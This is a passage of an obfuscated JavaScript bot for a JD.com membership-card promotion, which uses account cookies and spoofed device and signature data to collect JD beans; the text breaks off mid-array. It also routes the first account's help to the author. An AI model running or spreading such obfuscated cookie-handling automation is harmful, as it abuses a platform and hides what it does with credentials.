(有可能是空气💨 -加购5京豆 (有可能是空气💨 默认不加购 如需加购请设置环境变量[guaopencard_addSku25]为"true" - -第一个账号助力作者 其他依次助力CK1 -第一个CK失效会退出脚本 - -默认脚本不执行 -如需执行脚本请设置环境变量 -guaopencard25="true" - -All变量适用 -———————————————— -入口:[ 9.8-9.30 成家有福 长长久久 (https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity?activityId=9ef833504aaf436ebd84a3b762c32ead&shareUuid=73536d0508b44689a6e0c2570158cae8)] - -请求太频繁会被黑ip -号多的会被限制ip -过10分钟再执行 - -============Quantumultx=============== -[task_local] -#9.8-9.30 成家有福 长长久久 -17 2,20 8-30 9 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard25.js, tag=9.8-9.30 成家有福 长长久久, enabled=true - -================Loon============== -[Script] -cron "17 2,20 8-30 9 *" script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard25.js,tag=9.8-9.30 成家有福 长长久久 - -===============Surge================= -9.8-9.30 成家有福 长长久久 = type=cron,cronexp="17 2,20 8-30 9 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard25.js - -============小火箭========= -9.8-9.30 成家有福 长长久久 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard25.js, cronexpr="17 2,20 8-30 9 *", timeout=3600, enable=true -*/ - -let guaopencard_addSku="false"; -let guaopencard="false"; - -var _0xod2='jsjiami.com.v6',_0x4195=[_0xod2,'bEZPd3c=','S0tOSHU=','Zmxvb3I=','b3RpVmM=','SWhySk4=','dmZTQXY=','cGFueWc=','QkVxemY=','SlZnZEU=','QXN0ZWs=','Z1F4TVk=','ak1YalQ=','T3hqUkQ=','SU51V1Y=','b3daekI=','L2N1c3RvbWVyL2dldE15UGluZw==','QUJzTmw=','cWZHYVE=','U0FTenk=','R2NGSWU=','T1BycEk=','UXN3ZEU=','VnFFZ3Y=','T1FzVVo=','QVNsWmU=','c2Z0WEY=','WlRKSmk=','SkNPUHU=','Y3NSZmo=','Y3dPU00=','RUdiRGg=','Sk5YVUo=','bUdNekY=','aHB5VnM=','ZVdzTEM=','VGNMYmw=','d0FBSWM=','VkVzR3A=','TVdoUU4=','cHprWXA=','UWR0eko=','T1lhTWI=','RVd5ekk=','eFRia0c=','TVhaZmg=','ZFFDRE4=','eFJwV3c=','b0ZlYmY=','d2dYeGI=','V2hsaHI=','dkx5ZUI=','dXNlcklkPQ==','JnRva2VuPQ==','JmZyb21UeXBlPUFQUA==','SlJwcWc=','R2RQV2o=','akZuV0E=','bmRuUmg=','T3pFVmQ=','dEx1Ymc=','aFNUVWY=','b0NoRlM=','TWVTWkM=','TGZSUVM=','cU5wc0o=','RUladW4=','IGdldE15UGluZyBBUEnor7fmsYLlpLHotKXvvIzor7fmo4Dmn6XnvZHot6/ph43or5U=','SmxMUEc=','bFhmaHE=','d0xrWkk=','cXRLbU0=','anFTQ0k=','VnNLUG8=','TkJJZHU=','UXdteG0=','eHBmRHg=','RkFHQUw=','S0lNSUY=','WnlUeXA=','cHhBU3g=','a3FwV2I=','Snlzc1g=','SEFvcVc=','d29kS3g=','b0haV1E=','WEpPd3g=','Z2VyVks=','ZWROVU4=','eWxObVo=','SlhLRWM=','YmpReFc=','a09JQUY=','bGRFcEg=','TEtjWXg=','Vm1kb1M=','SnRWbHI=','VlhvQUY=','a3dVV1o=','V2ZCcW0=','Z2V0TXlQaW5nIA==','b1lwcmo=','T3p3dXM=','Ull2Y0s=','UWR6clo=','TnhESWg=','V011UXk=','RmVpb0U=','Tk9xdVE=','V1BxR0I=','L2R6L2NvbW1vbi9nZXRTaW1wbGVBY3RJbmZvVm8=','d1prd1A=','Z0tYTUs=','cmNxRm0=','c055c0E=','WHZTQkE=','dEVmanQ=','Y3hNR2c=','SllCR0Q=','WGJDT2c=','VEhyc1g=','d2xGWVM=','R0N0Ylg=','RFRGVnE=','aHlTUkw=','YnlJV0g=','ZFRheHU=','bHJLVHE=','cEhQeGE=','UVpWV1Q=','c2lvTnY=','U21jd3Q=','cFJtYmw=','bHdQZGs=','Qm9aZmM=','dnJUWW0=','c3JxUGk=','U1JxY1M=','bWZUcG8=','RGFGSmY=','R1lDTGU=','Zm1leGw=','am94b3Q=','YWRKdG0=','YmxTUnE=','aktjZXo=','ZUlLUmQ=','ekFWQUc=','VXJFbHA=','eWxOQU0=','dEt2SE0=','cEVnRXQ=','VnRuT1k=','YnFkcks=','YWh0bGg=','clJ3QmY=','TEl1Z3E=','Ymxnb0Y=','YkZUdVA=','ZEVVZkI=','Znd3bHk=','anZLZkk=','dk1hY1k=','T0hlV2E=','YXJlYT0xNl8xMzE1XzM0ODZfNTk2NDgmYm9keT0lN0IlMjJ1cmwlMjIlM0ElMjJodHRwcyUzQSU1Qy8lNUMvbHpkejEtaXN2LmlzdmpjbG91ZC5jb20lMjIlMkMlMjJpZCUyMiUzQSUyMiUyMiU3RCZidWlsZD0xNjc4MDImY2xpZW50PWFwcGxlJmNsaWVudFZlcnNpb249MTAuMS4yJmRfYnJhbmQ9YXBwbGUmZF9tb2RlbD1pUGhvbmUxMiUyQzEmZWlkPWVpZEllYjU0ODEyMzIzc2YlMkJBSkViajVMUjBLZjZHVXpNOURLWHZnQ1JlVHBLVFJ5UndpdXhZL3V2UkhCcWViQUFLQ0FYa0pGemhXdFBqNXVvSHhOZUszRGpUdW1iJTJCcmZYT3QxdzAvZEdtT0p6ZmJMdXlObyZpc0JhY2tncm91bmQ9TiZqb3ljaW91cz03MSZsYW5nPXpoX0NOJm5ldHdvcmtUeXBlPXdpZmkmbmV0d29ya2xpYnR5cGU9SkROZXR3b3JrQmFzZUFGJm9wZW51ZGlkPThhMGQxODM3ZjgwM2ExMmViMjE3ZmNmNWUxZjg3NjljYmIzZjg5OGQmb3NWZXJzaW9uPTE0LjMmcGFydG5lcj1hcHBsZSZyZnM9MDAwMCZzY29wZT0wMSZzY3JlZW49ODI4JTJBMTc5MiZzaWduPTdmMzMxMmMyZjlkZjg0M2E0MTcwMjJkZmNlMTNkN2JmJnN0PTE2MzEwNjAyNzIwNzMmc3Y9MTExJnVlbXBzPTAtMCZ1dHM9MGYzMVRWUmpCU3MzZVM4cHUyWE9zc2IvaWcyWlhZQzMzTzFUdVA0WGF3ZVVBbkI4S28wVG9FQ01WZzVvc0VHQWJ4NU9CSlJwNyUyQk1PVnZSdFU5RTQ0QlYxRHpYZDZEaVNKYzdiNFNmZkNCRjFzNTA0YmFGNnhhMURNbjJNNjd0RzdhYVlFMVU3R3I4SEZkRk5mbzRZcHBqanVHcFdBNkt2U0V2S0wvbEMyY1NOOEVSUXFmRjdRbjJBTFZZejZXQnpYV2FYU2F0JTJCdFRYRXVkM01pTTdYJTJCUSUzRCUzRCZ1dWlkPWhqdWR3Z29oeHpWdTk2a3J2L1Q2SGclM0QlM0Qmd2lmaUJzc2lkPTc5NjYwNmU4ZTE4MWFhNTg2NWVjMjA3MjhhMjcyMzhi','VEt5d3M=','aXBzQm8=','WHliaXA=','SnZuRUw=','UkN6ckQ=','UEZkZGQ=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9mdW5jdGlvbklkPWlzdk9iZnVzY2F0b3I=','dlZJRHQ=','WnhQcWE=','SFNkZVA=','SkQ0aVBob25lLzE2NzgwMiAoaVBob25lOyBpT1MgMTQuMzsgU2NhbGUvMi4wMCk=','ZkJNWHY=','dnp2ZnY=','bWN1WVc=','VUpJRkw=','R3NHT0s=','ekJJaGw=','cUJ3emQ=','U3VqR3U=','cHpMdHU=','aE9weFE=','c252cWI=','RlRuR1Q=','Q3ppeWY=','a1N6UWQ=','YVJUaEw=','V3pXQnk=','YXlXalg=','ckNwWng=','YXRzS1A=','UHN5WWM=','Y1BtRUQ=','VllnUkI=','dlFxTXk=','WkNlUkM=','bExtUHE=','RVRLTWI=','UnVOeVc=','dVZJbGc=','V1JGaEc=','TUpPa04=','Z29YU0I=','TkhoWnI=','eFR4Q2k=','ZlRqYlM=','T1dRTVc=','WVB6QmY=','cVpMRkQ=','Z2xYWVg=','c2xGT08=','a3N2cHQ=','QmxzTGs=','ektNeWU=','a1pjRmk=','ZUhyUXU=','WnJhZ3g=','dHhHTWI=','RG1mS1k=','Z2hRT0g=','RWdRTFQ=','VVVQSkg=','dWNvU1o=','ckZCbVc=','WUlicnU=','YktWVEY=','UFp3dmI=','aU9qWGk=','eFFlZW4=','dWt2cWY=','eXltdkI=','UldDQmo=','RVZkS2E=','RVJjZUo=','UlVWSm8=','IGNvb2tpZSBBUEnor7fmsYLlpLHotKXvvIzor7fmo4Dmn6XnvZHot6/ph43or5U=','eFVqbGw=','S1NHT2I=','UXhTcEM=','dU9TeUQ=','bVRCc24=','bHlXa3I=','VWdsVXQ=','VWVMV3Q=','R3pCZUs=','dXVrTGE=','QmxBUWQ=','UElqUks=','ekNvWmI=','ZFhvUVU=','amRhcHA7aVBob25lOzEwLjEuMjsxNC4zOw==','Z1V6RnM=','O25ldHdvcmsvd2lmaTttb2RlbC9pUGhvbmUxMiwxO2FkZHJlc3NpZC80MTk5MTc1MTkzO2FwcEJ1aWxkLzE2NzgwMjtqZFN1cHBvcnREYXJrTW9kZS8wO01vemlsbGEvNS4wIChpUGhvbmU7IENQVSBpUGhvbmUgT1MgMTRfMyBsaWtlIE1hYyBPUyBYKSBBcHBsZVdlYktpdC82MDUuMS4xNSAoS0hUTUwsIGxpa2UgR2Vja28pIE1vYmlsZS8xNUUxNDg7c3VwcG9ydEpEU0hXSy8x','VWdzRFY=','Y0x5TGw=','bVpXUEY=','Z2dhelc=','a09OWVU=','R0lZSlY=','UU9CTnk=','a2F3aVo=','enNvdW0=','SFlSYXg=','b3pVdFA=','Q0FRR28=','QkhKZ3Y=','dFFxdXA=','SE5KUHg=','Sk5CZGg=','YXBwbGljYXRpb24vanNvbg==','emgtY24=','Z3ppcCwgZGVmbGF0ZSwgYnI=','a2VlcC1hbGl2ZQ==','QVVUSF9DX1VTRVI9','bHpkejEtaXN2LmlzdmpjbG91ZC5jb20=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbQ==','WE1MSHR0cFJlcXVlc3Q=','UkpRelI=','RXNxSFk=','aVp1Q0U=','aHlheHI=','cXNiR1k=','SWZiamM=','QkxYZlk=','WGNvdXQ=','enBCcFQ=','RXB4cmQ=','Q2xNUlY=','Tm1ka1c=','SEdiU3c=','T0xoamc=','emhhRVU=','YlRNcm8=','eVhqZW4=','d0FLRGo=','YWJjZGVmMDEyMzQ1Njc4OQ==','cHJla24=','T3NGWEc=','T29qSWM=','Y2hhckF0','bGlxdEc=','Q3Z4SVI=','bHZBSkc=','SFJYZG4=','OS44LTkuMzAg5oiQ5a625pyJ56aPIOmVv+mVv+S5heS5hQ==','aXNOb2Rl','Li9qZENvb2tpZS5qcw==','Li9zZW5kTm90aWZ5','a2V5cw==','Zm9yRWFjaA==','cHVzaA==','ZW52','SkRfREVCVUc=','ZmFsc2U=','bG9n','Z2V0ZGF0YQ==','Q29va2llSkQ=','Q29va2llSkQy','Q29va2llc0pE','bWFw','Y29va2ll','ZmlsdGVy','Z3Vhb3BlbmNhcmRfYWRkU2t1MjU=','Z3Vhb3BlbmNhcmRfYWRkU2t1X0FsbA==','Z3Vhb3BlbmNhcmQyNQ==','Z3Vhb3BlbmNhcmRfQWxs','b3V0RmxhZw==','dW5kZWZpbmVk','5q2kaXDlt7LooqvpmZDliLbvvIzor7fov4cxMOWIhumSn+WQjuWGjeaJp+ihjOiEmuacrAo=','ZmJFQ1g=','T1FqbUQ=','44CQ5o+Q56S644CR6K+35YWI6I635Y+WY29va2llCuebtOaOpeS9v+eUqE5vYnlEYeeahOS6rOS4nOetvuWIsOiOt+WPlg==','aHR0cHM6Ly9iZWFuLm0uamQuY29tLw==','TnluR3Q=','WmxGblk=','dHJ1ZQ==','eVZYU3E=','5aaC6ZyA5omn6KGM6ISa5pys6K+36K6+572u546v5aKD5Y+Y6YePW2d1YW9wZW5jYXJkMjVd5Li6InRydWUi','NzM1MzZkMDUwOGI0NDY4OWE2ZTBjMjU3MDE1OGNhZTg=','OWVmODMzNTA0YWFmNDM2ZWJkODRhM2I3NjJjMzJlYWQ=','V29VelI=','RXNWbXU=','c0pmc3k=','5q2kaXDlt7LooqvpmZDliLbvvIzor7fov4cxMOWIhumSn+WQjuWGjeaJp+ihjOiEmuacrA==','TmNpUHU=','dnNyZEs=','UUVra0Y=','bXNn','bmFtZQ==','akRCQ00=','bXVKamc=','YmNLRG4=','ZGF0YQ==','c2hvcElk','U1poZ0E=','dmVuZGVySWQ=','a0p5eXM=','Y1VrREQ=','d3JRY3g=','SndVV0s=','RUppelc=','bGFQYVE=','cnFLV2Q=','RUNGRnM=','ZXRKaHM=','RE9EY08=','c2hhcmVVdWlk','d1BGeEo=','YWN0aXZpdHlJZA==','TUVvR3c=','5YWl5Y+jOgpodHRwczovL2x6ZHoxLWlzdi5pc3ZqY2xvdWQuY29tL2Rpbmd6aGkvZHovb3BlbkNhcmQvYWN0aXZpdHk/YWN0aXZpdHlJZD0=','JnNoYXJlVXVpZD0=','T1dHSUY=','bGVuZ3Ro','c0lSWUg=','WFRCSU4=','UU5IeGU=','aWVrU3k=','VXNlck5hbWU=','Y2V5R3Y=','bWF0Y2g=','aW5kZXg=','CgoqKioqKirlvIDlp4vjgJDkuqzkuJzotKblj7c=','KioqKioqKioqCg==','dUxRbUo=','eW1ZVFU=','YWN0b3JVdWlk','QllnSUQ=','TWZiWU0=','c1JuZGo=','c2VuZE5vdGlmeQ==','cmVwbGFjZQ==','dG9TdHI=','IEFQSeivt+axguWksei0pe+8jOivt+ajgOafpee9kei3r+mHjeivlQ==','Y2F0Y2g=','bG9nRXJy','ZmluYWxseQ==','ZG9uZQ==','TFpfVE9LRU5fS0VZPQ==','TFpfVE9LRU5fVkFMVUU9','b2JqZWN0','WUpyVU4=','ZEFRUm4=','6I635Y+WW3Rva2VuXeWksei0pe+8gQ==','U2x4ZGs=','WElETmw=','6I635Y+W5rS75Yqo5L+h5oGv5aSx6LSl77yB','aHR0cHM6Ly9pbWcxMC4zNjBidXlpbWcuY29tL2ltZ3pvbmUvamZzL3QxLzcwMjAvMjcvMTM1MTEvNjE0Mi81YzUxMzhkOEU0ZGYyZTc2NC81YTEyMTZhM2E1MDQzYzVkLnBuZw==','6I635Y+W5LiN5YiwW2FjdG9yVXVpZF3pgIDlh7rmiafooYzvvIzor7fph43mlrDmiafooYw=','b0ZWWkg=','dU10TkQ=','NHwzfDJ8NXwxfDA=','VWpYTFM=','NXwxfDN8MHw0fDI=','5YWz5rOoOiA=','5Yqg6LStOiA=','5aaC6ZyA5Yqg6LSt6K+36K6+572u546v5aKD5Y+Y6YePW2d1YW9wZW5jYXJkX2FkZFNrdTI1XeS4uiJ0cnVlIg==','6LSm5Y+3MeiOt+WPluS4jeWIsFtzaGFyZVV1aWRd6YCA5Ye65omn6KGM77yM6K+36YeN5paw5omn6KGM','cnRsaEI=','VG9rZW4=','UGlu','SVhpU1g=','Zk5lS0o=','6I635Y+WY29va2ll5aSx6LSl','aG1XcUo=','TVhJZ2Y=','Z21abk8=','UUhJZnM=','c3BsaXQ=','QlZOVEg=','d0VURGg=','YXJWZ1E=','bmlja25hbWU=','bE9DdG0=','UGpUVlo=','blRqWXQ=','TlJkZlc=','aGhXb2E=','eXFkT1A=','YXFLdnY=','elJtd00=','aW5kZXhPZg==','YktkWmY=','R0NXZWY=','dmJHTFQ=','UHZzWVU=','ak5ndlk=','YXR0clRvdVhpYW5n','elpySkg=','bEZQcmw=','bEpGQUk=','b0NjRng=','d2FpdA==','YWxsT3BlbkNhcmQ=','UkphUUM=','Y2FyZExpc3Qx','VVVXU0s=','5YWz5rOoIA==','ZXJyb3JNZXNzYWdl','c3RhdHVz','ZEloT1U=','bUdRdnA=','akpScU0=','Wk9jTGI=','cmFuZG9t','eGNHTE0=','dmFsdWU=','Y2FyZExpc3Qy','TW9JdW4=','ZmNNVkI=','cnFvZWI=','Y0NhRG4=','TUtvamU=','eFVUVFc=','Q2NiTnQ=','cmVzdWx0','Z2lmdEluZm8=','Z2lmdExpc3Q=','5YWl5Lya6I635b6XOg==','ZGlzY291bnRTdHJpbmc=','cHJpemVOYW1l','c2Vjb25kTGluZURlc2M=','UmF2WEo=','cVl1ZmY=','SVBKQm0=','c2NvcmUx','eUZKR0Q=','c2NvcmUy','T1dueWg=','ZFlrT1c=','bGJObEI=','Zm9sbG93U2hvcA==','Y0hWVms=','d3V6WVA=','ZE9nY3I=','RXJHREI=','YWRkU2t1','Z1l0YXg=','QmdOUVA=','RnJmbWc=','TEpkT0Y=','RGxJYmY=','Vm1tTG0=','TlNQWGM=','5ZCO6Z2i55qE5Y+36YO95Lya5Yqp5YqbOg==','ckdMbVo=','SEtIbEQ=','RURlYkI=','T2dGbHA=','Qk9HUE4=','bWJEQVE=','RkxMRXo=','SnZpV1I=','dG9PYmo=','cWRWYm8=','ZXJyY29kZQ==','dG9rZW4=','bWVzc2FnZQ==','aXN2T2JmdXNjYXRvciA=','RmpWa2I=','ZFF2YWk=','VGN6ZlY=','cnJLWWw=','VlhaUmw=','VlByVmU=','SXNLUFo=','6YKA6K+35aW95Y+L','a0NCakY=','Z1daWGU=','RlFNenQ=','T1VHRWs=','eldWQWg=','L2Rpbmd6aGkvdGFza2FjdC9vcGVuQ2FyZGNvbW1vbi9nZXREcmF3UmVjb3JkSGFzQ291cG9u','TVRFWmk=','VkxTYUQ=','T053ems=','eUxuZ28=','YlB0Vkg=','VXBNb1Y=','VHhiaUk=','aHlMbWc=','dEJPZkk=','dlBUUmg=','ZmxMenk=','U014Q2Y=','cHRKbUQ=','SW1JTUo=','T3Rsdlg=','UW5zdWE=','UXNqRWs=','enJPV0E=','dVNGbWM=','eUJSQlc=','WWhHYmg=','b0RXTVU=','Y1ppc3g=','RlBET0M=','cm1ZTW0=','c1RzUng=','enB1WlI=','QnZrR3E=','anZUU1k=','ZVRIdFY=','UmVwZFM=','RmVaQ2I=','R1NPbG8=','YWN0aXZpdHlJZD0=','JmFjdG9yVXVpZD0=','JnBpbj0=','bVBJd1g=','Jm51bT0wJnNvcnRTdWF0dXM9MQ==','cG9zdA==','WVpZb0g=','TFN1TmI=','WkRiTkQ=','T0dPaVo=','TUhSVnk=','Y1VCSEc=','R09qZ3I=','RGJjcnU=','YkVZcVU=','U0JjeXk=','ZGtpZmw=','dG16RG8=','c3RhdHVzQ29kZQ==','c2xVUUU=','bnBxVkk=','a3ZwVVM=','anZGYmY=','aklncU0=','aUZ3UG8=','aE9MbGU=','5oiR55qE5aWW5ZOB77ya','VEFTS1k=','aHZoU0Q=','aW5mb05hbWU=','U3JrWWU=','dEx3aEo=','aW5mb1R5cGU=','UEZVZko=','eG9DQmE=','6YKA6K+35aW95Y+LKA==','VFR6T2I=','eUpjSnY=','eG1RaG0=','R0FNb2E=','TWt6dWU=','5oiR55qE5aWW5ZOBIA==','QktOekg=','Tm5veUg=','ZGRYdXE=','VEJBRk0=','VFprV0Y=','Z2V0U2ltcGxlQWN0SW5mb1ZvIA==','YldqZXY=','PT09PT09PT09PT0g5L2g6YKA6K+35LqGOg==','bHpfamRwaW5fdG9rZW49','WWV2V3k=','RVJxY2I=','QXJnS1o=','T3Vubko=','TXZQcGE=','VVJvZWw=','L2Rpbmd6aGkvdGFza2FjdC9vcGVuQ2FyZGNvbW1vbi9nZXRTaGFyZVJlY29yZA==','bG9oZFM=','UldPR3U=','b3FSV3o=','aG9ycXc=','cVBlbEI=','S0RBb0E=','RWdaSlc=','dWFVcGQ=','R1BJUlc=','UkpFeHg=','c1FFbFE=','SE9LYU8=','V3F1UG8=','VnJweGI=','bXhlQVI=','TXJIQ0M=','RXZiclg=','UUdBZ1A=','eXFCcnI=','eWpTelA=','Z2FCcUQ=','dEdHY0s=','RkxMVng=','ckR5T2M=','WFdiemw=','YVhoRlc=','aENOd1I=','SFFrS2I=','YWRlYmg=','QnlHeG0=','b3JvdU0=','dHJpbQ==','aW1oZ3A=','QlRVSUQ=','ZmNkT0k=','ZnNZYmI=','YmFhc0E=','Ymt6bm0=','RkVSbGY=','RkdvcXY=','b1lxb0c=','UU90WU0=','Z2dkR2c=','Smhaclc=','eHdOR28=','aHd6UHY=','Z0trcUs=','c2hvcGFjdGl2aXR5SWQ=','aW50ZXJlc3RzUnVsZUxpc3Q=','aW50ZXJlc3RzSW5mbw==','RkpmZkk=','ZmVmTWc=','TlJaQUQ=','UEZadGI=','dGtwY3I=','56m65rCU8J+SqA==','RGhUVXI=','cnVsU0s=','Wm9LVG4=','L2Rpbmd6aGkvZHovb3BlbkNhcmQvc2F2ZVRhc2s=','V0lhQ2w=','R1NCbU0=','cHlORGw=','UkpDY1Y=','SnpDY3M=','cXFrb0M=','Sm1uUVo=','Q2lKUFc=','WkhUa0U=','VVlrbmc=','bGNOaUw=','WWx4T1g=','VHNpZmQ=','a1ZsWE4=','VllyQ1g=','VEZlQWw=','eEpkWHE=','WkVodFo=','ZXl2bEg=','Qnl2REg=','JnRhc2tUeXBlPTImdGFza1ZhbHVlPTEwMDAyMTU2NDU5OA==','T29XdnM=','aWpQam4=','Q2RvR0M=','TVRCY1k=','YVpYT2c=','bUh4bmc=','aXZOTVg=','R1FmbFQ=','T2xadEI=','ZWpiYks=','Vll0Vkk=','aWltTmk=','RW9HUHU=','cXBWTGU=','dE9BTlA=','YWRkQmVhbk51bQ==','5Yqg6LSt6I635b6X77ya','cUxzTmg=','TVJsR0k=','5Yqg6LStIA==','YVZxZmk=','Wnlvd3Y=','WlJicXk=','ZnhnbWc=','Y0liS3o=','V1FmWkI=','UHh2Q3I=','RFdCbXM=','dFBIZ20=','aENkRlM=','akJHbnc=','eU9jdFA=','aFBPbHU=','cGVhVkE=','L2Rpbmd6aGkvZHovb3BlbkNhcmQvZm9sbG93U2hvcA==','R3J2dVI=','bEtUSWc=','SGt2Wlg=','S1dkYnU=','ZEtacE0=','cnl3dEU=','VWVIcFU=','cnNod1M=','TVhta1o=','QVdzRkU=','V3NEbEY=','bU9FWXo=','VVBNZUY=','TFZvckc=','aGxpdlg=','aFpMYkM=','WnVvaVY=','JnRhc2tUeXBlPTIzJnRhc2tWYWx1ZT0xMDAwMjgyNzAy','bmR3Y0Q=','cGdqY1A=','ZXN3Q2w=','UURTT2I=','Z3lzaVc=','SlF1TWY=','RUlNRFQ=','WndYUUo=','d0tyQXU=','S3VzbFg=','V1FudEM=','VWphUng=','TUV0d3g=','QmNCS3M=','YmVhbk51bU1lbWJlcg==','YXNzaXN0U2VuZFN0YXR1cw==','IOmineWkluiOt+W+lzo=','5YWz5rOo6I635b6X77ya','R3F1VHY=','UkZpenM=','UXNaQ3U=','bmNOcFI=','TWxJbWs=','dUdiZXU=','RnhodXU=','cXNoeWY=','c3RyaW5n','6K+35Yu/6ZqP5oSP5ZyoQm94SnPovpPlhaXmoYbkv67mlLnlhoXlrrkK5bu66K6u6YCa6L+H6ISa5pys5Y676I635Y+WY29va2ll','QlJ6dU8=','dlNsSFE=','RlpqR3k=','Qk5mQXQ=','Q0Vib1Q=','ZGF3WFc=','bEhYakI=','bWdaTEc=','Z2V0','U1ZIcXM=','RWJUa1U=','ckNmbms=','VHNnT3g=','SFJyRnU=','V0VvY0s=','cGFyc2U=','c3VjY2Vzcw==','QVlvcXY=','VnNMZnk=','bXZwS1U=','bUdOQm0=','SGViaG8=','QkViYnA=','YWN0aXZpdHlDb250ZW50IA==','dWZ4V1Y=','c3RyaW5naWZ5','IGdldFNpbXBsZUFjdEluZm9WbyBBUEnor7fmsYLlpLHotKXvvIzor7fmo4Dmn6XnvZHot6/ph43or5U=','cnNIYUU=','blVOR0c=','RG9mWFI=','dGV4dC9wbGFpbjsgQ2hhcnNldD1VVEYtOA==','aHR0cHM6Ly9hcGkubS5qZC5jb20=','YXBpLm0uamQuY29t','Ki8q','YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVk','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9hcHBpZD1qZF9zaG9wX21lbWJlciZmdW5jdGlvbklkPWdldFNob3BPcGVuQ2FyZEluZm8mYm9keT0lN0IlMjJ2ZW5kZXJJZCUyMiUzQSUyMg==','JTIyJTJDJTIyY2hhbm5lbCUyMiUzQTQwMSU3RCZjbGllbnQ9SDUmY2xpZW50VmVyc2lvbj05LjIuMCZ1dWlkPTg4ODg4','Und0RnU=','WVBOZlo=','THpOSm4=','QkN5R3g=','cWN4cFM=','aHR0cHM6Ly9zaG9wbWVtYmVyLm0uamQuY29tL3Nob3BjYXJkLz92ZW5kZXJJZD0=','JnNob3BJZD0=','JnZlbmRlclR5cGU9NSZjaGFubmVsPTQwMSZyZXR1cm5Vcmw9aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS9kaW5nemhpL2R6L29wZW5DYXJkL2FjdGl2aXR5P2FjdGl2aXR5SWQ9','UVd6V1k=','SG1qV20=','VWhmTXE=','Y3VZcXQ=','VklJbHA=','UUFpcVY=','TkxmSUY=','UG9aR2g=','ZU16Q0s=','Z0dDWk0=','UHBYeGo=','am5laEY=','ZFF3dmc=','VkJkQ3g=','bkljSXM=','dWlBV04=','d2VsdmI=','elJsbk0=','U2lhQXc=','ZUVNVk4=','ekJuQmE=','aHNKZ04=','aHFSV3o=','ZW1iTEc=','U2FuaXI=','Wm5GTHY=','SU5UYlQ=','ZFpsdEE=','a3lBS1c=','SVV0cno=','RFJXTWk=','cU1jaHQ=','VXRVTFM=','IGdldFVzZXJJbmZvIEFQSeivt+axguWksei0pe+8jOivt+ajgOafpee9kei3r+mHjeivlQ==','TkxqWU8=','Q0llcG4=','YWxXVUk=','WmZWVVg=','LCJhY3Rpdml0eUlkIjo=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9hcHBpZD1qZF9zaG9wX21lbWJlciZmdW5jdGlvbklkPWJpbmRXaXRoVmVuZGVyJmJvZHk9eyJ2ZW5kZXJJZCI6Ig==','Iiwic2hvcElkIjoi','IiwiYmluZEJ5VmVyaWZ5Q29kZUZsYWciOjEsInJlZ2lzdGVyRXh0ZW5kIjp7fSwid3JpdGVDaGlsZEZsYWciOjA=','LCJjaGFubmVsIjo0MDF9JmNsaWVudD1INSZjbGllbnRWZXJzaW9uPTkuMi4wJnV1aWQ9ODg4ODg=','dHFxRGI=','UkJFb2I=','aXZhcHc=','Z25hYXk=','Q3RyRWI=','cEhTb3o=','bnhMTlM=','RGlmUEI=','cGZpRVU=','RkR6R3Y=','ZlZ2amg=','cVZIRUg=','S2Jtb3U=','Y1huZ1g=','WkVHVUY=','L2Rpbmd6aGkvZHovb3BlbkNhcmQvc3RhcnREcmF3','c21OdUo=','UlhiaUs=','d2hNanY=','dVNWeVQ=','aGZucGE=','JnR5cGU9','WGRCQW8=','ZXFFS3o=','ckh3aUY=','Sk9tR1M=','akp3dWk=','Y0h1T0g=','ZUhZdGs=','b0F1SHU=','YkFPc0w=','TkpKYmY=','5oq95aWW6I635b6X77ya','ZHJhd09r','dXRiV2E=','aVlST28=','WHZKcWg=','5oq95aWWIA==','ZXB6UnA=','elNNWUY=','TFR0a1Y=','ZElId1Q=','c3p0SEM=','UXhNZ2M=','eUpKTVM=','a0RucUY=','Z3lyY0M=','Y2dodWo=','TUhyT1Y=','VGdwYVE=','L2Rpbmd6aGkvZHovb3BlbkNhcmQvY2hlY2tPcGVuQ2FyZA==','aXFqYnU=','TmdXalA=','a2xHYUc=','VnFId3c=','dlRCZHM=','WWhncFY=','YklQTWM=','VUFqUWY=','R2Z1VUg=','VE90TGI=','dEpoT3U=','UWJrWUs=','RFh2VW8=','RFJFTHU=','cmxNblQ=','QWFkc3I=','d3BsZG0=','T2dpc2M=','Q2pFa2o=','YXlMSXI=','ZHZidHE=','Y3ZTZ20=','TExibUE=','T2lQSVo=','bXJZZ1o=','aGx5cUw=','Y3Brd1M=','TUNCV2s=','aWNYRVI=','cXpOdkI=','dHJOREI=','aWJJR0o=','SlViQkc=','WW9DZGg=','WFRncG0=','L2Rpbmd6aGkvdGFza2FjdC9vcGVuQ2FyZGNvbW1vbi9kcmF3Q29udGVudA==','Y2lXRGY=','bm1YVHg=','Y2JVZmU=','b2VVbGM=','YnpjWFE=','RE5vbGI=','eXp4eVA=','cWFoaXE=','WHV3Q3Y=','SUN0QXE=','bE1WSGU=','QnVCbmg=','bkFmaUI=','WXl6Rnk=','eHVPSFM=','SWxqRlY=','TWRsUUg=','YU5QWHA=','L2Rpbmd6aGkvZHovb3BlbkNhcmQvYWN0aXZpdHlDb250ZW50','Uk9WcmY=','TnZURUQ=','QmNEWUo=','Y1N4TWs=','WU1yQkY=','VFpMTHM=','TWlpTHA=','UWpXZlk=','TGJQTFk=','aVR1Ulg=','SkNRUHc=','U1RhQWw=','VkxBang=','RUxnRXM=','bEhkQXM=','blN0VkE=','V3FxQkc=','QWpQVnU=','WGJGZWY=','SnlTVks=','JnBpbkltZz0=','dHhCWFk=','Jm5pY2s9','JmNqeXhQaW49JmNqaHlQaW49JnNoYXJlVXVpZD0=','SGlOVlU=','dWl6UEY=','R2h2blE=','R0hrdkQ=','eHpPSHE=','WkxWYVk=','cHF3dHo=','UElwdHo=','S1BGQlg=','YUN6Qlk=','YWxsU3RhdHVz','d2dnWFc=','Sm1hdlo=','R2RvcGU=','Z2V0VXNlckluZm8g','YnlXcU8=','bHlRV0M=','YkVUdFo=','T0VJRU4=','R0hqYXI=','R0VTWHE=','Vlh0Q1c=','QUJ4RnU=','bFJ5d1